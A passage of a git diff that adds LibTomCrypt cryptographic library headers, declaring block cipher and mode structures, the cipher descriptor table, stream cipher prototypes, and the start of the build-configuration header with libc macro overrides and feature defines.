+#ifdef LTC_CTR_MODE +/** A block cipher CTR structure */ +typedef struct { + /** The index of the cipher chosen */ + int cipher, + /** The block size of the given cipher */ + blocklen, + /** The padding offset */ + padlen, + /** The mode (endianess) of the CTR, 0==little, 1==big */ + mode, + /** counter width */ + ctrlen; + + /** The counter */ + unsigned char ctr[MAXBLOCKSIZE], + /** The pad used to encrypt/decrypt */ + pad[MAXBLOCKSIZE]; + /** The scheduled key */ + symmetric_key key; +} symmetric_CTR; +#endif + + +#ifdef LTC_LRW_MODE +/** A LRW structure */ +typedef struct { + /** The index of the cipher chosen (must be a 128-bit block cipher) */ + int cipher; + + /** The current IV */ + unsigned char IV[16], + + /** the tweak key */ + tweak[16], + + /** The current pad, it's the product of the first 15 bytes against the tweak key */ + pad[16]; + + /** The scheduled symmetric key */ + symmetric_key key; + +#ifdef LTC_LRW_TABLES + /** The pre-computed multiplication table */ + unsigned char PC[16][256][16]; +#endif +} symmetric_LRW; +#endif + +#ifdef LTC_F8_MODE +/** A block cipher F8 structure */ +typedef struct { + /** The index of the cipher chosen */ + int cipher, + /** The block size of the given cipher */ + blocklen, + /** The padding offset */ + padlen; + /** The current IV */ + unsigned char IV[MAXBLOCKSIZE], + MIV[MAXBLOCKSIZE]; + /** Current block count */ + ulong32 blockcnt; + /** The scheduled key */ + symmetric_key key; +} symmetric_F8; +#endif + + +/** cipher descriptor table, last entry has "name == NULL" to mark the end of table */ +extern struct ltc_cipher_descriptor { + /** name of cipher */ + const char *name; + /** internal ID */ + unsigned char ID; + /** min keysize (octets) */ + int min_key_length, + /** max keysize (octets) */ + max_key_length, + /** block size (octets) */ + block_length, + /** default number of rounds */ + default_rounds; + /** Setup the cipher + @param key The input symmetric key + @param keylen The length of the input key (octets) + @param num_rounds The requested number of rounds (0==default) + @param skey [out] The destination of the scheduled key + @return CRYPT_OK if successful + */ + int (*setup)(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); + /** Encrypt a block + @param pt The plaintext + @param ct [out] The ciphertext + @param skey The scheduled key + @return CRYPT_OK if successful + */ + int (*ecb_encrypt)(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); + /** Decrypt a block + @param ct The ciphertext + @param pt [out] The plaintext + @param skey The scheduled key + @return CRYPT_OK if successful + */ + int (*ecb_decrypt)(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); + /** Test the block cipher + @return CRYPT_OK if successful, CRYPT_NOP if self-testing has been disabled + */ + int (*test)(void); + + /** Terminate the context + @param skey The scheduled key + */ + void (*done)(symmetric_key *skey); + + /** Determine a key size + @param keysize [in/out] The size of the key desired and the suggested size + @return CRYPT_OK if successful + */ + int (*keysize)(int *keysize); + +/** Accelerators **/ + /** Accelerated ECB encryption + @param pt Plaintext + @param ct Ciphertext + @param blocks The number of complete blocks to process + @param skey The scheduled key context + @return CRYPT_OK if successful + */ + int (*accel_ecb_encrypt)(const unsigned char *pt, unsigned char *ct, unsigned long blocks, symmetric_key *skey); + + /** Accelerated ECB decryption + @param pt Plaintext + @param ct Ciphertext + @param blocks The number of complete blocks to process + @param skey The scheduled key context + @return CRYPT_OK if successful + */ + int (*accel_ecb_decrypt)(const unsigned char *ct, unsigned char *pt, unsigned long blocks, symmetric_key *skey); + + /** Accelerated CBC encryption + @param pt Plaintext + @param ct Ciphertext + @param blocks The number of complete blocks to process + @param IV The initial value (input/output) + @param skey The scheduled key context + @return CRYPT_OK if successful + */ + int (*accel_cbc_encrypt)(const unsigned char *pt, unsigned char *ct, unsigned long blocks, unsigned char *IV, symmetric_key *skey); + + /** Accelerated CBC decryption + @param pt Plaintext + @param ct Ciphertext + @param blocks The number of complete blocks to process + @param IV The initial value (input/output) + @param skey The scheduled key context + @return CRYPT_OK if successful + */ + int (*accel_cbc_decrypt)(const unsigned char *ct, unsigned char *pt, unsigned long blocks, unsigned char *IV, symmetric_key *skey); + + /** Accelerated CTR encryption + @param pt Plaintext + @param ct Ciphertext + @param blocks The number of complete blocks to process + @param IV The initial value (input/output) + @param mode little or big endian counter (mode=0 or mode=1) + @param skey The scheduled key context + @return CRYPT_OK if successful + */ + int (*accel_ctr_encrypt)(const unsigned char *pt, unsigned char *ct, unsigned long blocks, unsigned char *IV, int mode, symmetric_key *skey); + + /** Accelerated LRW + @param pt Plaintext + @param ct Ciphertext + @param blocks The number of complete blocks to process + @param IV The initial value (input/output) + @param tweak The LRW tweak + @param skey The scheduled key context + @return CRYPT_OK if successful + */ + int (*accel_lrw_encrypt)(const unsigned char *pt, unsigned char *ct, unsigned long blocks, unsigned char *IV, const unsigned char *tweak, symmetric_key *skey); + + /** Accelerated LRW + @param ct Ciphertext + @param pt Plaintext + @param blocks The number of complete blocks to process + @param IV The initial value (input/output) + @param tweak The LRW tweak + @param skey The scheduled key context + @return CRYPT_OK if successful + */ + int (*accel_lrw_decrypt)(const unsigned char *ct, unsigned char *pt, unsigned long blocks, unsigned char *IV, const unsigned char *tweak, symmetric_key *skey); + + /** Accelerated CCM packet (one-shot) + @param key The secret key to use + @param keylen The length of the secret key (octets) + @param uskey A previously scheduled key [optional can be NULL] + @param nonce The session nonce [use once] + @param noncelen The length of the nonce + @param header The header for the session + @param headerlen The length of the header (octets) + @param pt [out] The plaintext + @param ptlen The length of the plaintext (octets) + @param ct [out] The ciphertext + @param tag [out] The destination tag + @param taglen [in/out] The max size and resulting size of the authentication tag + @param direction Encrypt or Decrypt direction (0 or 1) + @return CRYPT_OK if successful + */ + int (*accel_ccm_memory)( + const unsigned char *key, unsigned long keylen, + symmetric_key *uskey, + const unsigned char *nonce, unsigned long noncelen, + const unsigned char *header, unsigned long headerlen, + unsigned char *pt, unsigned long ptlen, + unsigned char *ct, + unsigned char *tag, unsigned long *taglen, + int direction); + + /** Accelerated GCM packet (one shot) + @param key The secret key + @param keylen The length of the secret key + @param IV The initialization vector + @param IVlen The length of the initialization vector + @param adata The additional authentication data (header) + @param adatalen The length of the adata + @param pt The plaintext + @param ptlen The length of the plaintext (ciphertext length is the same) + @param ct The ciphertext + @param tag [out] The MAC tag + @param taglen [in/out] The MAC tag length + @param direction Encrypt or Decrypt mode (GCM_ENCRYPT or GCM_DECRYPT) + @return CRYPT_OK on success + */ + int (*accel_gcm_memory)( + const unsigned char *key, unsigned long keylen, + const unsigned char *IV, unsigned long IVlen, + const unsigned char *adata, unsigned long adatalen, + unsigned char *pt, unsigned long ptlen, + unsigned char *ct, + unsigned char *tag, unsigned long *taglen, + int direction); + + /** Accelerated one shot LTC_OMAC + @param key The secret key + @param keylen The key length (octets) + @param in The message + @param inlen Length of message (octets) + @param out [out] Destination for tag + @param outlen [in/out] Initial and final size of out + @return CRYPT_OK on success + */ + int (*omac_memory)( + const unsigned char *key, unsigned long keylen, + const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); + + /** Accelerated one shot XCBC + @param key The secret key + @param keylen The key length (octets) + @param in The message + @param inlen Length of message (octets) + @param out [out] Destination for tag + @param outlen [in/out] Initial and final size of out + @return CRYPT_OK on success + */ + int (*xcbc_memory)( + const unsigned char *key, unsigned long keylen, + const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); + + /** Accelerated one shot F9 + @param key The secret key + @param keylen The key length (octets) + @param in The message + @param inlen Length of message (octets) + @param out [out] Destination for tag + @param outlen [in/out] Initial and final size of out + @return CRYPT_OK on success + @remark Requires manual padding + */ + int (*f9_memory)( + const unsigned char *key, unsigned long keylen, + const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); + + /** Accelerated XTS encryption + @param pt Plaintext + @param ct Ciphertext + @param blocks The number of complete blocks to process + @param tweak The 128-bit encryption tweak (input/output). + The tweak should not be encrypted on input, but + next tweak will be copied encrypted on output. + @param skey1 The first scheduled key context + @param skey2 The second scheduled key context + @return CRYPT_OK if successful + */ + int (*accel_xts_encrypt)(const unsigned char *pt, unsigned char *ct, + unsigned long blocks, unsigned char *tweak, symmetric_key *skey1, + symmetric_key *skey2); + + /** Accelerated XTS decryption + @param ct Ciphertext + @param pt Plaintext + @param blocks The number of complete blocks to process + @param tweak The 128-bit encryption tweak (input/output). + The tweak should not be encrypted on input, but + next tweak will be copied encrypted on output. + @param skey1 The first scheduled key context + @param skey2 The second scheduled key context + @return CRYPT_OK if successful + */ + int (*accel_xts_decrypt)(const unsigned char *ct, unsigned char *pt, + unsigned long blocks, unsigned char *tweak, symmetric_key *skey1, + symmetric_key *skey2); +} cipher_descriptor[]; + +#ifdef LTC_BLOWFISH +int blowfish_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int blowfish_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int blowfish_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int blowfish_test(void); +void blowfish_done(symmetric_key *skey); +int blowfish_keysize(int *keysize); +extern const struct ltc_cipher_descriptor blowfish_desc; +#endif + +#ifdef LTC_RC5 +int rc5_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int rc5_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int rc5_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int rc5_test(void); +void rc5_done(symmetric_key *skey); +int rc5_keysize(int *keysize); +extern const struct ltc_cipher_descriptor rc5_desc; +#endif + +#ifdef LTC_RC6 +int rc6_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int rc6_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int rc6_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int rc6_test(void); +void rc6_done(symmetric_key *skey); +int rc6_keysize(int *keysize); +extern const struct ltc_cipher_descriptor rc6_desc; +#endif + +#ifdef LTC_RC2 +int rc2_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int rc2_setup_ex(const unsigned char *key, int keylen, int bits, int num_rounds, symmetric_key *skey); +int rc2_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int rc2_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int rc2_test(void); +void rc2_done(symmetric_key *skey); +int rc2_keysize(int *keysize); +extern const struct ltc_cipher_descriptor rc2_desc; +#endif + +#ifdef LTC_SAFERP +int saferp_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int saferp_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int saferp_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int saferp_test(void); +void saferp_done(symmetric_key *skey); +int saferp_keysize(int *keysize); +extern const struct ltc_cipher_descriptor saferp_desc; +#endif + +#ifdef LTC_SAFER +int safer_k64_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int safer_sk64_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int safer_k128_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int safer_sk128_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int safer_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *key); +int safer_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *key); +int safer_k64_test(void); +int safer_sk64_test(void); +int safer_sk128_test(void); +void safer_done(symmetric_key *skey); +int safer_64_keysize(int *keysize); +int safer_128_keysize(int *keysize); +extern const struct ltc_cipher_descriptor safer_k64_desc, safer_k128_desc, safer_sk64_desc, safer_sk128_desc; +#endif + +#ifdef LTC_RIJNDAEL + +/* make aes an alias */ +#define aes_setup rijndael_setup +#define aes_ecb_encrypt rijndael_ecb_encrypt +#define aes_ecb_decrypt rijndael_ecb_decrypt +#define aes_test rijndael_test +#define aes_done rijndael_done +#define aes_keysize rijndael_keysize + +#define aes_enc_setup rijndael_enc_setup +#define aes_enc_ecb_encrypt rijndael_enc_ecb_encrypt +#define aes_enc_keysize rijndael_enc_keysize + +int rijndael_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int rijndael_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int rijndael_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int rijndael_test(void); +void rijndael_done(symmetric_key *skey); +int rijndael_keysize(int *keysize); +int rijndael_enc_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int rijndael_enc_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +void rijndael_enc_done(symmetric_key *skey); +int rijndael_enc_keysize(int *keysize); +extern const struct ltc_cipher_descriptor rijndael_desc, aes_desc; +extern const struct ltc_cipher_descriptor rijndael_enc_desc, aes_enc_desc; +#endif + +#ifdef LTC_XTEA +int xtea_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int xtea_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int xtea_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int xtea_test(void); +void xtea_done(symmetric_key *skey); +int xtea_keysize(int *keysize); +extern const struct ltc_cipher_descriptor xtea_desc; +#endif + +#ifdef LTC_TWOFISH +int twofish_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int twofish_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int twofish_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int twofish_test(void); +void twofish_done(symmetric_key *skey); +int twofish_keysize(int *keysize); +extern const struct ltc_cipher_descriptor twofish_desc; +#endif + +#ifdef LTC_DES +int des_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int des_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int des_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int des_test(void); +void des_done(symmetric_key *skey); +int des_keysize(int *keysize); +int des3_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int des3_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int des3_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int des3_test(void); +void des3_done(symmetric_key *skey); +int des3_keysize(int *keysize); +extern const struct ltc_cipher_descriptor des_desc, des3_desc; +#endif + +#ifdef LTC_CAST5 +int cast5_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int cast5_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int cast5_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int cast5_test(void); +void cast5_done(symmetric_key *skey); +int cast5_keysize(int *keysize); +extern const struct ltc_cipher_descriptor cast5_desc; +#endif + +#ifdef LTC_NOEKEON +int noekeon_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int noekeon_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int noekeon_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int noekeon_test(void); +void noekeon_done(symmetric_key *skey); +int noekeon_keysize(int *keysize); +extern const struct ltc_cipher_descriptor noekeon_desc; +#endif + +#ifdef LTC_SKIPJACK +int skipjack_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int skipjack_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int skipjack_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int skipjack_test(void); +void skipjack_done(symmetric_key *skey); +int skipjack_keysize(int *keysize); +extern const struct ltc_cipher_descriptor skipjack_desc; +#endif + +#ifdef LTC_KHAZAD +int khazad_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int khazad_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int khazad_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int khazad_test(void); +void khazad_done(symmetric_key *skey); +int khazad_keysize(int *keysize); +extern const struct ltc_cipher_descriptor khazad_desc; +#endif + +#ifdef LTC_ANUBIS +int anubis_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int anubis_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int anubis_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int anubis_test(void); +void anubis_done(symmetric_key *skey); +int anubis_keysize(int *keysize); +extern const struct ltc_cipher_descriptor anubis_desc; +#endif + +#ifdef LTC_KSEED +int kseed_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int kseed_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int kseed_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int kseed_test(void); +void kseed_done(symmetric_key *skey); +int kseed_keysize(int *keysize); +extern const struct ltc_cipher_descriptor kseed_desc; +#endif + +#ifdef LTC_KASUMI +int kasumi_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int kasumi_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int kasumi_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int kasumi_test(void); +void kasumi_done(symmetric_key *skey); +int kasumi_keysize(int *keysize); +extern const struct ltc_cipher_descriptor kasumi_desc; +#endif + + +#ifdef LTC_MULTI2 +int multi2_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int multi2_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int multi2_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int multi2_test(void); +void multi2_done(symmetric_key *skey); +int multi2_keysize(int *keysize); +extern const struct ltc_cipher_descriptor multi2_desc; +#endif + +#ifdef LTC_CAMELLIA +int camellia_setup(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey); +int camellia_ecb_encrypt(const unsigned char *pt, unsigned char *ct, symmetric_key *skey); +int camellia_ecb_decrypt(const unsigned char *ct, unsigned char *pt, symmetric_key *skey); +int camellia_test(void); +void camellia_done(symmetric_key *skey); +int camellia_keysize(int *keysize); +extern const struct ltc_cipher_descriptor camellia_desc; +#endif + +#ifdef LTC_ECB_MODE +int ecb_start(int cipher, const unsigned char *key, + int keylen, int num_rounds, symmetric_ECB *ecb); +int ecb_encrypt(const unsigned char *pt, unsigned char *ct, unsigned long len, symmetric_ECB *ecb); +int ecb_decrypt(const unsigned char *ct, unsigned char *pt, unsigned long len, symmetric_ECB *ecb); +int ecb_done(symmetric_ECB *ecb); +#endif + +#ifdef LTC_CFB_MODE +int cfb_start(int cipher, const unsigned char *IV, const unsigned char *key, + int keylen, int num_rounds, symmetric_CFB *cfb); +int cfb_encrypt(const unsigned char *pt, unsigned char *ct, unsigned long len, symmetric_CFB *cfb); +int cfb_decrypt(const unsigned char *ct, unsigned char *pt, unsigned long len, symmetric_CFB *cfb); +int cfb_getiv(unsigned char *IV, unsigned long *len, symmetric_CFB *cfb); +int cfb_setiv(const unsigned char *IV, unsigned long len, symmetric_CFB *cfb); +int cfb_done(symmetric_CFB *cfb); +#endif + +#ifdef LTC_OFB_MODE +int ofb_start(int cipher, const unsigned char *IV, const unsigned char *key, + int keylen, int num_rounds, symmetric_OFB *ofb); +int ofb_encrypt(const unsigned char *pt, unsigned char *ct, unsigned long len, symmetric_OFB *ofb); +int ofb_decrypt(const unsigned char *ct, unsigned char *pt, unsigned long len, symmetric_OFB *ofb); +int ofb_getiv(unsigned char *IV, unsigned long *len, symmetric_OFB *ofb); +int ofb_setiv(const unsigned char *IV, unsigned long len, symmetric_OFB *ofb); +int ofb_done(symmetric_OFB *ofb); +#endif + +#ifdef LTC_CBC_MODE +int cbc_start(int cipher, const unsigned char *IV, const unsigned char *key, + int keylen, int num_rounds, symmetric_CBC *cbc); +int cbc_encrypt(const unsigned char *pt, unsigned char *ct, unsigned long len, symmetric_CBC *cbc); +int cbc_decrypt(const unsigned char *ct, unsigned char *pt, unsigned long len, symmetric_CBC *cbc); +int cbc_getiv(unsigned char *IV, unsigned long *len, symmetric_CBC *cbc); +int cbc_setiv(const unsigned char *IV, unsigned long len, symmetric_CBC *cbc); +int cbc_done(symmetric_CBC *cbc); +#endif + +#ifdef LTC_CTR_MODE + +#define CTR_COUNTER_LITTLE_ENDIAN 0x0000 +#define CTR_COUNTER_BIG_ENDIAN 0x1000 +#define LTC_CTR_RFC3686 0x2000 + +int ctr_start( int cipher, + const unsigned char *IV, + const unsigned char *key, int keylen, + int num_rounds, int ctr_mode, + symmetric_CTR *ctr); +int ctr_encrypt(const unsigned char *pt, unsigned char *ct, unsigned long len, symmetric_CTR *ctr); +int ctr_decrypt(const unsigned char *ct, unsigned char *pt, unsigned long len, symmetric_CTR *ctr); +int ctr_getiv(unsigned char *IV, unsigned long *len, symmetric_CTR *ctr); +int ctr_setiv(const unsigned char *IV, unsigned long len, symmetric_CTR *ctr); +int ctr_done(symmetric_CTR *ctr); +int ctr_test(void); +#endif + +#ifdef LTC_LRW_MODE + +#define LRW_ENCRYPT LTC_ENCRYPT +#define LRW_DECRYPT LTC_DECRYPT + +int lrw_start( int cipher, + const unsigned char *IV, + const unsigned char *key, int keylen, + const unsigned char *tweak, + int num_rounds, + symmetric_LRW *lrw); +int lrw_encrypt(const unsigned char *pt, unsigned char *ct, unsigned long len, symmetric_LRW *lrw); +int lrw_decrypt(const unsigned char *ct, unsigned char *pt, unsigned long len, symmetric_LRW *lrw); +int lrw_getiv(unsigned char *IV, unsigned long *len, symmetric_LRW *lrw); +int lrw_setiv(const unsigned char *IV, unsigned long len, symmetric_LRW *lrw); +int lrw_done(symmetric_LRW *lrw); +int lrw_test(void); + +/* don't call */ +int lrw_process(const unsigned char *pt, unsigned char *ct, unsigned long len, int mode, symmetric_LRW *lrw); +#endif + +#ifdef LTC_F8_MODE +int f8_start( int cipher, const unsigned char *IV, + const unsigned char *key, int keylen, + const unsigned char *salt_key, int skeylen, + int num_rounds, symmetric_F8 *f8); +int f8_encrypt(const unsigned char *pt, unsigned char *ct, unsigned long len, symmetric_F8 *f8); +int f8_decrypt(const unsigned char *ct, unsigned char *pt, unsigned long len, symmetric_F8 *f8); +int f8_getiv(unsigned char *IV, unsigned long *len, symmetric_F8 *f8); +int f8_setiv(const unsigned char *IV, unsigned long len, symmetric_F8 *f8); +int f8_done(symmetric_F8 *f8); +int f8_test_mode(void); +#endif + +#ifdef LTC_XTS_MODE +typedef struct { + symmetric_key key1, key2; + int cipher; +} symmetric_xts; + +int xts_start( int cipher, + const unsigned char *key1, + const unsigned char *key2, + unsigned long keylen, + int num_rounds, + symmetric_xts *xts); + +int xts_encrypt( + const unsigned char *pt, unsigned long ptlen, + unsigned char *ct, + unsigned char *tweak, + symmetric_xts *xts); +int xts_decrypt( + const unsigned char *ct, unsigned long ptlen, + unsigned char *pt, + unsigned char *tweak, + symmetric_xts *xts); + +void xts_done(symmetric_xts *xts); +int xts_test(void); +void xts_mult_x(unsigned char *I); +#endif + +int find_cipher(const char *name); +int find_cipher_any(const char *name, int blocklen, int keylen); +int find_cipher_id(unsigned char ID); +int register_cipher(const struct ltc_cipher_descriptor *cipher); +int unregister_cipher(const struct ltc_cipher_descriptor *cipher); +int register_all_ciphers(void); +int cipher_is_valid(int idx); + +LTC_MUTEX_PROTO(ltc_cipher_mutex) + +/* ---- stream ciphers ---- */ + +#ifdef LTC_CHACHA + +typedef struct { + ulong32 input[16]; + unsigned char kstream[64]; + unsigned long ksleft; + unsigned long ivlen; + int rounds; +} chacha_state; + +int chacha_setup(chacha_state *st, const unsigned char *key, unsigned long keylen, int rounds); +int chacha_ivctr32(chacha_state *st, const unsigned char *iv, unsigned long ivlen, ulong32 counter); +int chacha_ivctr64(chacha_state *st, const unsigned char *iv, unsigned long ivlen, ulong64 counter); +int chacha_crypt(chacha_state *st, const unsigned char *in, unsigned long inlen, unsigned char *out); +int chacha_keystream(chacha_state *st, unsigned char *out, unsigned long outlen); +int chacha_done(chacha_state *st); +int chacha_test(void); + +#endif /* LTC_CHACHA */ + +#ifdef LTC_RC4_STREAM + +typedef struct { + unsigned int x, y; + unsigned char buf[256]; +} rc4_state; + +int rc4_stream_setup(rc4_state *st, const unsigned char *key, unsigned long keylen); +int rc4_stream_crypt(rc4_state *st, const unsigned char *in, unsigned long inlen, unsigned char *out); +int rc4_stream_keystream(rc4_state *st, unsigned char *out, unsigned long outlen); +int rc4_stream_done(rc4_state *st); +int rc4_stream_test(void); + +#endif /* LTC_RC4_STREAM */ + +#ifdef LTC_SOBER128_STREAM + +typedef struct { + ulong32 R[17], /* Working storage for the shift register */ + initR[17], /* saved register contents */ + konst, /* key dependent constant */ + sbuf; /* partial word encryption buffer */ + int nbuf; /* number of part-word stream bits buffered */ +} sober128_state; + +int sober128_stream_setup(sober128_state *st, const unsigned char *key, unsigned long keylen); +int sober128_stream_setiv(sober128_state *st, const unsigned char *iv, unsigned long ivlen); +int sober128_stream_crypt(sober128_state *st, const unsigned char *in, unsigned long inlen, unsigned char *out); +int sober128_stream_keystream(sober128_state *st, unsigned char *out, unsigned long outlen); +int sober128_stream_done(sober128_state *st); +int sober128_stream_test(void); + +#endif /* LTC_SOBER128_STREAM */ + +/* ref: HEAD -> master, tag: v1.18.2 */ +/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */ +/* commit time: 2018-07-01 22:49:01 +0200 */ diff --git a/include/tomcrypt_custom.h b/include/tomcrypt_custom.h new file mode 100644 index 0000000..e44a63a --- /dev/null +++ b/include/tomcrypt_custom.h @@ -0,0 +1,590 @@ +/* LibTomCrypt, modular cryptographic library -- Tom St Denis + * + * LibTomCrypt is a library that provides various cryptographic + * algorithms in a highly modular and flexible manner. + * + * The library is free for all purposes without any express + * guarantee it works. + */ + +#ifndef TOMCRYPT_CUSTOM_H_ +#define TOMCRYPT_CUSTOM_H_ + +/* macros for various libc functions you can change for embedded targets */ +#ifndef XMALLOC +#define XMALLOC malloc +#endif +#ifndef XREALLOC +#define XREALLOC realloc +#endif +#ifndef XCALLOC +#define XCALLOC calloc +#endif +#ifndef XFREE +#define XFREE free +#endif + +#ifndef XMEMSET +#define XMEMSET memset +#endif +#ifndef XMEMCPY +#define XMEMCPY memcpy +#endif +#ifndef XMEMMOVE +#define XMEMMOVE memmove +#endif +#ifndef XMEMCMP +#define XMEMCMP memcmp +#endif +/* A memory compare function that has to run in constant time, + * c.f. mem_neq() API summary. + */ +#ifndef XMEM_NEQ +#define XMEM_NEQ mem_neq +#endif +#ifndef XSTRCMP +#define XSTRCMP strcmp +#endif + +#ifndef XCLOCK +#define XCLOCK clock +#endif + +#ifndef XQSORT +#define XQSORT qsort +#endif + +#if ( defined(malloc) || defined(realloc) || defined(calloc) || defined(free) || \ + defined(memset) || defined(memcpy) || defined(memcmp) || defined(strcmp) || \ + defined(clock) || defined(qsort) ) && !defined(LTC_NO_PROTOTYPES) +#define LTC_NO_PROTOTYPES +#endif + +/* shortcut to disable automatic inclusion */ +#if defined LTC_NOTHING && !defined LTC_EASY + #define LTC_NO_CIPHERS + #define LTC_NO_MODES + #define LTC_NO_HASHES + #define LTC_NO_MACS + #define LTC_NO_PRNGS + #define LTC_NO_PK + #define LTC_NO_PKCS + #define LTC_NO_MISC +#endif /* LTC_NOTHING */ + +/* Easy button? */ +#ifdef LTC_EASY + #define LTC_NO_CIPHERS + #define LTC_RIJNDAEL + #define LTC_BLOWFISH + #define LTC_DES + #define LTC_CAST5 + + #define LTC_NO_MODES + #define LTC_ECB_MODE + #define LTC_CBC_MODE + #define LTC_CTR_MODE + + #define LTC_NO_HASHES + #define LTC_SHA1 + #define LTC_SHA3 + #define LTC_SHA512 + #define LTC_SHA384 + #define LTC_SHA256 + #define LTC_SHA224 + #define LTC_HASH_HELPERS + + #define LTC_NO_MACS + #define LTC_HMAC + #define LTC_OMAC + #define LTC_CCM_MODE + + #define LTC_NO_PRNGS + #define LTC_SPRNG + #define LTC_YARROW + #define LTC_DEVRANDOM + #define LTC_TRY_URANDOM_FIRST + #define LTC_RNG_GET_BYTES + #define LTC_RNG_MAKE_PRNG + + #define LTC_NO_PK + #define LTC_MRSA + #define LTC_MECC + + #define LTC_NO_MISC + #define LTC_BASE64 +#endif + +/* The minimal set of functionality to run the tests */ +#ifdef LTC_MINIMAL + #define LTC_RIJNDAEL + #define LTC_SHA256 + #define LTC_YARROW + #define LTC_CTR_MODE + + #define LTC_RNG_MAKE_PRNG + #define LTC_RNG_GET_BYTES + #define LTC_DEVRANDOM + #define LTC_TRY_URANDOM_FIRST + + #undef LTC_NO_FILE +#endif + +/* Enable self-test test vector checking */ +#ifndef LTC_NO_TEST + #define LTC_TEST +#endif +/* Enable extended self-tests */ +/* #define LTC_TEST_EXT */ + +/* Use small code where possible */ +/* #define LTC_SMALL_CODE */ + +/* clean the stack of functions which put private information on stack */ +/* #define LTC_CLEAN_STACK */ + +/* disable all file related functions */ +/* #define LTC_NO_FILE */ + +/* disable all forms of ASM */ +/* #define LTC_NO_ASM */ + +/* disable FAST mode */ +/* #define LTC_NO_FAST */ + +/* disable BSWAP on x86 */ +/* #define LTC_NO_BSWAP */ + +/* ---> math provider? <--- */ +#ifndef LTC_NO_MATH + +/* LibTomMath */ +/* #define LTM_DESC */ + +/* TomsFastMath */ +/* #define TFM_DESC */ + +/* GNU Multiple Precision Arithmetic Library */ +/* #define GMP_DESC */ + +#endif /* LTC_NO_MATH */ + +/* ---> Symmetric Block Ciphers <--- */ +#ifndef LTC_NO_CIPHERS + +#define LTC_BLOWFISH +#define LTC_RC2 +#define LTC_RC5 +#define LTC_RC6 